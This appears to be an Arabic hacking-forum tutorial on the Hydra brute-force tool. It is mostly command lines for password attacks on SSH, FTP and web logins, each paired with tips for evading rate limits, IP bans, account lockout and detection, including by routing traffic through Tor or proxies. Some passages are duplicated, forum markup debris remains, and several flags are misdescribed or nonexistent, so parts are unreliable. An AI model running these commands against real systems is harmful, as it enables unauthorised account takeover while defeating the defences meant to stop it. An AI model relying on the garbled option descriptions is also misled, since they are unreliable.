hydra -L users.txt -P passwords.txt -t 1 -w 60 target-ip protocol | تشغيل جلسة واحدة فقط في كل مرة (-t 1) مع مهلة طويلة (-w 60) لجعل الهجوم بطيئًا جدًا وتجنب الحظر. |
hydra -L users.txt -P passwords.txt -S -s port -t 64 -w 5 -vV target-ip protocol | تشغيل عدد كبير من الجلسات الموازية (-t 64) مع مهلة صغيرة جدًا (-w 5) لزيادة سرعة الهجوم مع استخدام TLS لتجنب الحظر عن طريق تحليل النصوص غير المشفرة. |
hydra -L users.txt -P passwords.txt target-ip protocol -x 6:12:Aa1! -t 4 -w 15 | إنشاء كلمات مرور ديناميكية تتضمن رموزًا خاصة لتجنب الحظر الذي يعتمد على أنماط الكلمات. |
hydra -L users.txt -P passwords.txt -t 8 -W 3 target-ip protocol | استخدام خيار -W لتحديد عدد المحاولات قبل التوقف لفترة لتجنب الكشف عن الهجمات العنيفة. |
hydra -L users.txt -P passwords.txt -m proxychains target-ip protocol | دمج Hydra مع proxychains لاستخدام عناوين IP ديناميكية متعددة لتخطي القوائم السوداء أو حدود معدل الطلب. |
hydra -L users.txt -P passwords.txt -o results.txt -s port -w 10 -f -M targets.txt protocol | حفظ النتائج في ملف أثناء استهداف عدة عناوين لتوزيع الهجوم على أهداف متعددة، ما يصعب عملية التتبع. |
hydra -L users.txt -P passwords.txt -s port -t 4 -w 30 -z -x 5:8:Aa1 target-ip protocol | جعل الهجوم بطيئًا للغاية باستخدام الخيارات -z و-w مع كلمات مرور ديناميكية لتجنب اكتشاف الأنماط الثابتة. |
hydra -L users.txt -P passwords.txt -S -I -e nsr -t 16 -w 10 -M targets.txt protocol | الجمع بين خيارات متقدمة مثل استئناف الهجوم (-I) واختبار كلمات المرور الديناميكية وتوزيع الأهداف باستخدام ملفات متعددة. |
hydra -L users.txt -P passwords.txt -s port -V -x 4:8:Aa1 -z target-ip protocol | تمكين الوضع الصامت وتقليل سرعة الهجوم مع كلمات مرور ديناميكية. |
الحمايات الشائعة التي ستواجهها أثناء استخدام Hydra
1 - حدود المحاولات ( Rate Limiting )
جدران الحماية أو الخدمات نفسها تمنع عددًا كبيرًا من المحاولات في وقت قصير مثل السماح بعدد محاولات معين قبل أن يتم حظر عنوان الـIP الخاص بك
2 - حظر عنوان الـIP الخاص بك بسبب النشاط المريب
قد لا يتم حظرك بسبب عدد المحاولات لكن قد يتم حظرك بسبب النشاط المريب كالـrequests الزائدة عن المعدل الطبيعي من نفس العنوان(IP)
3 - استخدام CAPTCHA
الكثير من خدمات الويب الان تستخدم الـ CAPTCHA لحماية المستخدمين من هجمات القوة الغاشمة (Brute Force)
4 - التأخير الديناميكي
وهو أسلوب حماية يمنعك من محاولة تسجيل الدخول لوقت معين بعد كل محاولة فاشلة، فمثلا قمت بمحاولة فاشلة، سيجبرك النظام حينها على أن تنتظر 3 ثواني قبل أن تستطيع إرسال طلب آخر وهذا يعتبر نوع من أنواع الحماية.
5 - القيود الغير اعتيادية على البروتوكولات
بعض البروتوكولات يتم عمل Configuration لها بحيث تقوم بحظر المستخدم أو الحساب أو إيقاف الخدمة أو حتى إرسال إنذار لمدير الشبكة حال وجود نشاط مريب
ما هي الحلول ؟؟
سأعطي أمثلة على البروتوكولات والويب فتابع معي ..
حمايات SSH الشائعة :
1 - حظر IP : قد يتم حظرك بعد عدد محدد من المحاولات
2 - قد يتم رفض الاتصال تماما بعد عدد محدد من المحاولات الفاشلة
تقنايات التخطي :
1 - استخدام وقت تخطي بين المحاولات (Delay) وهذا سيقلل سرعة المحاولات لتجنب الحظر :
جدران الحماية أو الخدمات نفسها تمنع عددًا كبيرًا من المحاولات في وقت قصير مثل السماح بعدد محاولات معين قبل أن يتم حظر عنوان الـIP الخاص بك
2 - حظر عنوان الـIP الخاص بك بسبب النشاط المريب
قد لا يتم حظرك بسبب عدد المحاولات لكن قد يتم حظرك بسبب النشاط المريب كالـrequests الزائدة عن المعدل الطبيعي من نفس العنوان(IP)
3 - استخدام CAPTCHA
الكثير من خدمات الويب الان تستخدم الـ CAPTCHA لحماية المستخدمين من هجمات القوة الغاشمة (Brute Force)
4 - التأخير الديناميكي
وهو أسلوب حماية يمنعك من محاولة تسجيل الدخول لوقت معين بعد كل محاولة فاشلة، فمثلا قمت بمحاولة فاشلة، سيجبرك النظام حينها على أن تنتظر 3 ثواني قبل أن تستطيع إرسال طلب آخر وهذا يعتبر نوع من أنواع الحماية.
5 - القيود الغير اعتيادية على البروتوكولات
بعض البروتوكولات يتم عمل Configuration لها بحيث تقوم بحظر المستخدم أو الحساب أو إيقاف الخدمة أو حتى إرسال إنذار لمدير الشبكة حال وجود نشاط مريب
ما هي الحلول ؟؟
سأعطي أمثلة على البروتوكولات والويب فتابع معي ..
حمايات SSH الشائعة :
1 - حظر IP : قد يتم حظرك بعد عدد محدد من المحاولات
2 - قد يتم رفض الاتصال تماما بعد عدد محدد من المحاولات الفاشلة
تقنايات التخطي :
1 - استخدام وقت تخطي بين المحاولات (Delay) وهذا سيقلل سرعة المحاولات لتجنب الحظر :
كود:
hydra -l admin -P passwords.txt -t 1 -w 5 ssh://192.168.1.10[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]
2 - استخدام عناوين IP متعددة كاستخدام VPN أو Proxy أو Tor بعد كل عدد معين من المحاولات :
كود:
hydra -l admin -P passwords.txt -t 4 -o results.txt -s 22 -e ns -proxy socks5://127.0.0.1:9050 ssh://192.168.1.10[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]
حمايات FTP الشائعة :
1 - قفل الحساب : يتم قفل الحساب الذي تحاول اختراقه بعد عدد محدد من المحاولات
تقنايات التخطي :
1 - تقليل عدد المحاولات لتجنب اكتشاف الهجوم .
1 - قفل الحساب : يتم قفل الحساب الذي تحاول اختراقه بعد عدد محدد من المحاولات
تقنايات التخطي :
1 - تقليل عدد المحاولات لتجنب اكتشاف الهجوم .
كود:
hydra -l user -P passwords.txt -t 1 ftp://192.168.1.20[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]
2 - إنهاء الهجوم بمجرد العثور على الـcreds الصحيحة.
كود:
hydra -l user -P passwords.txt -f ftp://192.168.1.20[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]
حمايات الويب الشائعة :
1 - CAPTCHA : إذا تم اكتشاف العديد من المحاولات يتم تفعيل CAPTCHA
2 - حظر الـIP الخاص بك.
3 - تجميد الحساب المستهدف.
تقنيات التخطي :
1 - تغيير عنوان IP باستمرار باستخدام Proxy أو Tor
1 - CAPTCHA : إذا تم اكتشاف العديد من المحاولات يتم تفعيل CAPTCHA
2 - حظر الـIP الخاص بك.
3 - تجميد الحساب المستهدف.
تقنيات التخطي :
1 - تغيير عنوان IP باستمرار باستخدام Proxy أو Tor
كود:
hydra -l admin -P passwords.txt -s 8080 -t 3 -o results.txt -I http-post-form "example.com/login:username=^USER^&password=^PASS^:F=Invalid login" -proxy socks5://127.0.0.1:9050[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]
2 - تخطي الحمايات الديناميكية باستخدام التأخير (Delay)
كود:
hydra -l admin -P passwords.txt -w 5 http-post-form "example.com/login:username=^USER^&password=^PASS^:F=Invalid login"[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]
3 - بعض المواقع تعتمد على هيدرز مثل User-Agent:
كود:
hydra -l admin -P passwords.txt -m /login -H "User-Agent: CustomAgent" http-get://example.com[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]
4 - التبديل بين المستخدمين (Mutual Targeting):
كود:
hydra -L users.txt -P passwords.txt http-post-form "example.com/login:username=^USER^&password=^PASS^:F=Invalid login"[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]
نصائح لتخطي جدران الحماية أثناء استخدام Hydra :
1 - تقليل عدد المحاولات المتزامنة باستخدام t-
2 - استخدام Proxy أو Tor
3- عمل تأخير باستخدام w-
4 - تحليل الشبكة باستخدام Wireshark أو بدائلها لفهم استجابة الهدف للهجوم
5 - استخدم قوائم مخصصة للهدف بدلا من استخدام قوائم كبيرة (Social engineering)
6 - بعض حمايات الويب تتطلب فهم جيد للويب بطبيعة الحال وهي متغيرة بشكل كبير يصعب جمعه في موضوع واحد ولكنني تكلمت عن بعض هذه الحمايات في هذا التعليق من الرابط التالي
والان!
مصادر ومراجع :
THM
thc-hydra
stationx
Kali Hydra Tool Page
سيتم تحديث هذا الموضوع باستمرار بإذن الله
نرجو من الإخوة الأعضاء إبلاغنا في حال وجدت خطأ إملائي أو تقني أو شيء نسيناه ولم نذكره
إن أحسنت فمن الله وإن أسأت فمن نفسي والشيطان
دمتم هكرجية
1 - تقليل عدد المحاولات المتزامنة باستخدام t-
2 - استخدام Proxy أو Tor
3- عمل تأخير باستخدام w-
4 - تحليل الشبكة باستخدام Wireshark أو بدائلها لفهم استجابة الهدف للهجوم
5 - استخدم قوائم مخصصة للهدف بدلا من استخدام قوائم كبيرة (Social engineering)
6 - بعض حمايات الويب تتطلب فهم جيد للويب بطبيعة الحال وهي متغيرة بشكل كبير يصعب جمعه في موضوع واحد ولكنني تكلمت عن بعض هذه الحمايات في هذا التعليق من الرابط التالي
والان!
هل كنت تعلم أن Hydra تمتلك واجهة رسومية ؟!
الواجهة الرسومية موجودة بشكل افتراضي في توزيعات اختبار الاختراق
اكتب xhydra في الكالي وستظهر لك
الواجهة الرسومية موجودة بشكل افتراضي في توزيعات اختبار الاختراق
اكتب xhydra في الكالي وستظهر لك

مصادر ومراجع :
THM
thc-hydra
stationx
Kali Hydra Tool Page
سيتم تحديث هذا الموضوع باستمرار بإذن الله
نرجو من الإخوة الأعضاء إبلاغنا في حال وجدت خطأ إملائي أو تقني أو شيء نسيناه ولم نذكره
إن أحسنت فمن الله وإن أسأت فمن نفسي والشيطان
دمتم هكرجية